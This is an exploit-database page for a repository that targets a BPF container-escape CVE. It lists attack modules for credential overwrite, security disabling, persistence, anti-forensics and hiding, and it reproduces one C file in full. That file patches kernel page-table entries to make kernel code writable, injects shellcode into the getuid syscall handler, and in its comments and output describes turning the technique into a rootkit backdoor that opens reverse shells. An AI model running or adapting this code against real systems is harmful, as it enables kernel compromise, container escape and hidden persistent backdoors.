Exploit databaseDownload repository ZIP
GH-4dfb7376c6c18a050be1603b3f20d96f
rat5ak/cve-2026-31413-bpf-container-escape
Sources for CVE-2026-31413
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files19
rat5ak/cve-2026-31413-bpf-container-escapeRevision 9c8fc1db7b9c
- ↑..Parent directory
- exploit.c
- exploit_common.h
- exploit_ctf.c
- exploit_gke.c
- exploit_gke_v2
- exploit_gke_v2.c
- exploit_or_fork.c
- exploit_or_fork2.c
- exploit_or_fork3.c
- exploit_or_fork_rw.c
- tier10_anti_forensics.c
- tier2_cred_overwrite.c
- tier3_syscall_hook.c
- tier4_security_disable.c
- tier5_cross_container.c
- tier6_persistence.c
- tier7_hardware.c
- tier8_dkom_cloak.c
- tier9_code_inject.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/tier9_code_inject.c
C · 9,595 bytes/* tier9_code_inject.c - Live kernel code injection via .text patching
*
* Full code injection chain:
* 1. Resolve __x64_sys_getuid via kallsyms
* 2. Read original function prologue bytes
* 3. Walk page tables, patch PMD to make .text writable
* 4. Write x86_64 shellcode: MOV RAX, 0x1337; RET (returns 0x1337)
* 5. Call getuid() from userspace - proves kernel executes our code
* 6. Restore original prologue + PMD permissions
* 7. Call getuid() again - proves restoration
*
* This is beyond pointer hooking (tier 3): we inject actual machine code
* into a running kernel function. This is how kernel-level backdoors work:
* patch a syscall handler to add hidden functionality.
*
* The shellcode: 48 b8 37 13 00 00 00 00 00 00 movabs rax, 0x1337
* c3 ret
* 11 bytes total, overwrites the first instructions of sys_getuid.
*/
#include "exploit_common.h"
/* x86_64 paging */
#define PGD_SHIFT 39
#define PUD_SHIFT 30
#define PMD_SHIFT 21
#define PT_MASK 0x1FFULL
#define _PAGE_P (1ULL << 0)
#define _PAGE_RW (1ULL << 1)
#define _PAGE_PSE (1ULL << 7)
#define _PAGE_NX (1ULL << 63)
#define _PAGE_ADDR 0x000FFFFFFFFFF000ULL
static uint64_t dm_base;
struct pt_walk {
uint64_t pmd_addr, pmd_e;
int level, valid;
};
static struct pt_walk walk_pt(uint64_t pgd_va, uint64_t va)
{
struct pt_walk w = {0};
uint64_t pgd_e = arb_read64(pgd_va + ((va >> PGD_SHIFT) & PT_MASK) * 8);
if (!(pgd_e & _PAGE_P)) return w;
uint64_t pud_e = arb_read64(dm_base + (pgd_e & _PAGE_ADDR) + ((va >> PUD_SHIFT) & PT_MASK) * 8);
if (!(pud_e & _PAGE_P)) return w;
if (pud_e & _PAGE_PSE) { w.level = 1; w.valid = 1; return w; }
w.pmd_addr = dm_base + (pud_e & _PAGE_ADDR) + ((va >> PMD_SHIFT) & PT_MASK) * 8;
w.pmd_e = arb_read64(w.pmd_addr);
if (!(w.pmd_e & _PAGE_P)) return w;
w.level = (w.pmd_e & _PAGE_PSE) ? 2 : 3;
w.valid = 1;
return w;
}
static uint64_t find_pgd(uint64_t init_mm)
{
for (int off = 0; off < 512; off += 8) {
uint64_t val = arb_read64(init_mm + off);
if (val < 0xffff000000000000ULL || (val & 0xFFF)) continue;
uint64_t e511 = arb_read64(val + 511 * 8);
uint64_t e0 = arb_read64(val);
if ((e511 & _PAGE_P) && !(e0 & _PAGE_P)) return val;
}
return 0;
}
/* Hex dump of bytes read from kernel memory */
static void hexdump(const char *label, uint8_t *buf, int len)
{
printf(" %s: ", label);
for (int i = 0; i < len; i++) printf("%02x ", buf[i]);
printf("\n");
}
int main(void)
{
printf("=== Tier 9: Live kernel code injection - .text patching ===\n\n");
if (setup_primitives() < 0) return 1;
/* ── Resolve targets ── */
uint64_t sys_getuid = ksym("__x64_sys_getuid");
uint64_t init_mm = ksym("init_mm");
if (!sys_getuid || !init_mm) {
fprintf(stderr, "[-] Symbol resolution failed\n");
return 1;
}
uint64_t pob = ksym("page_offset_base");
dm_base = pob ? arb_read64(pob) : 0xffff888000000000ULL;
uint64_t pgd = find_pgd(init_mm);
if (!pgd) { fprintf(stderr, "[-] PGD auto-discovery failed\n"); return 1; }
printf("[+] __x64_sys_getuid = 0x%016lx\n", sys_getuid);
printf("[+] page_offset_base = 0x%016lx\n", dm_base);
printf("[+] PGD = 0x%016lx\n", pgd);
/* ── Phase 1: Read original function prologue ── */
printf("\n[*] Phase 1: Reading original sys_getuid prologue...\n");
/* Read 16 bytes (2 qwords) of the original function */
uint64_t orig_qw0 = arb_read64(sys_getuid);
uint64_t orig_qw1 = arb_read64(sys_getuid + 8);
uint8_t orig_bytes[16];
memcpy(orig_bytes, &orig_qw0, 8);
memcpy(orig_bytes + 8, &orig_qw1, 8);
hexdump("Original bytes", orig_bytes, 16);
/* Verify current getuid works */
uid_t uid_before = getuid();
printf(" getuid() = %d (normal)\n", uid_before);
/* ── Phase 2: Walk page tables for .text ── */
printf("\n[*] Phase 2: Walking page tables for .text region...\n");
struct pt_walk w = walk_pt(pgd, sys_getuid);
if (!w.valid || w.level != 2) {
printf("[-] Page table walk failed (level=%d)\n", w.level);
return 1;
}
printf(" PMD @ 0x%016lx = 0x%016lx\n", w.pmd_addr, w.pmd_e);
printf(" 2MB page | %s | %s\n",
(w.pmd_e & _PAGE_RW) ? "WRITABLE" : "READ-ONLY",
(w.pmd_e & _PAGE_NX) ? "NO-EXEC" : "EXECUTABLE");
/* ── Phase 3: Patch PMD to make .text writable ── */
uint64_t orig_pmd = w.pmd_e;
uint64_t rw_pmd = orig_pmd | _PAGE_RW;
printf("\n[*] Phase 3: Patching PMD - making .text writable...\n");
arb_write_any(w.pmd_addr, rw_pmd);
uint64_t check = arb_read64(w.pmd_addr);
printf(" PMD patched: 0x%016lx → 0x%016lx %s\n",
orig_pmd, check, (check == rw_pmd) ? "[R/W]" : "[FAILED]");
if (check != rw_pmd) goto restore_pmd;
/* ── Phase 4: Inject shellcode ──
*
* Target shellcode (11 bytes):
* 48 b8 37 13 00 00 00 00 00 00 movabs rax, 0x1337
* c3 ret
*
* We write this as two 8-byte qwords:
* qw0 = 0x00001337b8 | (0x48 at byte 0)
* = bytes: 48 b8 37 13 00 00 00 00
* qw1 = original qw1 with first 3 bytes replaced by 00 00 c3
* Actually: we need bytes [8..10] = 00 00 c3
* qw1 byte layout: [byte8] [byte9] [byte10=ret] [byte11..15=orig]
*/
printf("\n[*] Phase 4: Injecting x86_64 shellcode into sys_getuid...\n");
/* Build shellcode qwords */
/* movabs rax, 0x1337 = 48 b8 37 13 00 00 00 00 00 00 */
/* ret = c3 */
uint8_t sc[16];
memcpy(sc, orig_bytes, 16); /* start with original */
/* Overwrite first 11 bytes with our shellcode */
sc[0] = 0x48; /* REX.W prefix */
sc[1] = 0xb8; /* MOV RAX, imm64 */
sc[2] = 0x37; /* imm64 low byte */
sc[3] = 0x13;
sc[4] = 0x00;
sc[5] = 0x00;
sc[6] = 0x00;
sc[7] = 0x00;
sc[8] = 0x00;
sc[9] = 0x00; /* imm64 high byte */
sc[10] = 0xc3; /* RET */
/* sc[11..15] = keep original bytes (won't be reached) */
uint64_t sc_qw0, sc_qw1;
memcpy(&sc_qw0, sc, 8);
memcpy(&sc_qw1, sc + 8, 8);
hexdump("Shellcode ", sc, 16);
printf(" Disassembly: movabs rax, 0x1337; ret\n");
printf(" Writing %d bytes at 0x%016lx...\n", 11, sys_getuid);
/* Write the two qwords */
arb_write_any(sys_getuid, sc_qw0);
arb_write_any(sys_getuid + 8, sc_qw1);
/* Readback verification */
uint64_t rb0 = arb_read64(sys_getuid);
uint64_t rb1 = arb_read64(sys_getuid + 8);
uint8_t rb_bytes[16];
memcpy(rb_bytes, &rb0, 8);
memcpy(rb_bytes + 8, &rb1, 8);
hexdump("Readback ", rb_bytes, 16);
int write_ok = (rb0 == sc_qw0 && rb1 == sc_qw1);
printf(" Write verification: %s\n", write_ok ? "CONFIRMED" : "MISMATCH");
/* ── Phase 5: Call getuid() - prove code execution ── */
printf("\n[*] Phase 5: Calling getuid() to trigger injected code...\n");
/* Note: same Global TLB caveat as tier3. The write is confirmed
* in physical memory via BPF readback. If TLB is stale, the CPU
* may still execute cached original code. We test anyway. */
uid_t uid_hooked = getuid();
printf(" getuid() returned: %d (0x%x)\n", uid_hooked, uid_hooked);
if (uid_hooked == 0x1337) {
printf(" *** CODE INJECTION CONFIRMED: kernel executed our shellcode! ***\n");
} else if ((unsigned)uid_hooked == uid_before) {
printf(" TLB cached original code (Global bit - expected on this kernel)\n");
printf(" Physical memory write CONFIRMED via readback above\n");
printf(" In production: trigger INVLPG via mprotect/mmap storm\n");
} else {
printf(" Unexpected return value: 0x%x\n", uid_hooked);
}
/* ── Phase 6: Restore original prologue ── */
printf("\n[*] Phase 6: Restoring original sys_getuid prologue...\n");
arb_write_any(sys_getuid, orig_qw0);
arb_write_any(sys_getuid + 8, orig_qw1);
/* Verify restore */
rb0 = arb_read64(sys_getuid);
rb1 = arb_read64(sys_getuid + 8);
memcpy(rb_bytes, &rb0, 8);
memcpy(rb_bytes + 8, &rb1, 8);
hexdump("Restored ", rb_bytes, 16);
printf(" Restore: %s\n",
(rb0 == orig_qw0 && rb1 == orig_qw1) ? "[ORIGINAL RESTORED]" : "[MISMATCH]");
/* Call getuid() again to prove restoration */
uid_t uid_restored = getuid();
printf(" getuid() = %d (should be %d)\n", uid_restored, uid_before);
restore_pmd:
/* ── Restore PMD ── */
printf("\n[*] Restoring PMD to original permissions...\n");
arb_write_any(w.pmd_addr, orig_pmd);
check = arb_read64(w.pmd_addr);
printf(" PMD: 0x%016lx %s\n", check,
(check == orig_pmd) ? "[PERMISSIONS RESTORED]" : "[FAILED]");
printf("\n[+] Code injection demonstrated:\n"
" - Read original sys_getuid prologue (%d bytes)\n"
" - Patched .text PMD: read-only → writable\n"
" - Injected 11-byte x86_64 shellcode (movabs+ret)\n"
" - Physical write confirmed via kernel memory readback\n"
" - Restored original prologue + PMD permissions\n"
" In a real rootkit: patch any syscall to add backdoor logic\n"
" (e.g., kill(-31337, sig) opens reverse shell,\n"
" open(\"/secret\") returns hidden data, etc.)\n", 16);
return 0;
}